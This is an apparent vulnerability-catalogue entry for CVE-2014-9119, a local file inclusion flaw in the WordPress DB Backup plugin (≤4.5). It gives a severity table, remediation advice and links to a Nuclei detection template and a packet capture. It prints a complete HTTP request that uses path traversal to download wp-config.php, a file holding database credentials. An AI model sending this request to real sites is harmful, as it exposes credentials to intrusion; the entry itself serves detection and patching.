| Title | WordPress DB Backup <=4.5 - Local File Inclusion |
|---|---|
| Author | dhiyaneshDK |
| Severity | Medium |
| Impact | Allows an attacker to read arbitrary files on the server. |
| Remediation | Update WordPress DB Backup plugin to version 4.6 or higher. |
| CVSS Score | 5 |
| EPSS Score | 0.3807 |
| CVE ID | CVE-2014-9119 |
| CWE ID | CWE-22 |
| Tags | cve2014 cve lfi wordpress wp-plugin wp backup wpscan edb db_backup_project vuln |
WordPress Plugin DB Backup 4.5 and possibly prior versions are prone to a local file inclusion vulnerability because they fail to sufficiently sanitize user-supplied input. Exploiting this issue can allow an attacker to obtain sensitive information that could aid in further attacks.
GET /wp-content/plugins/db-backup/download.php?file=../../../wp-config.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2014/CVE-2014-9119.yaml
🦈 Packet Capture: ⬇️ Download cve-2014-9119.pcap
N/AN/A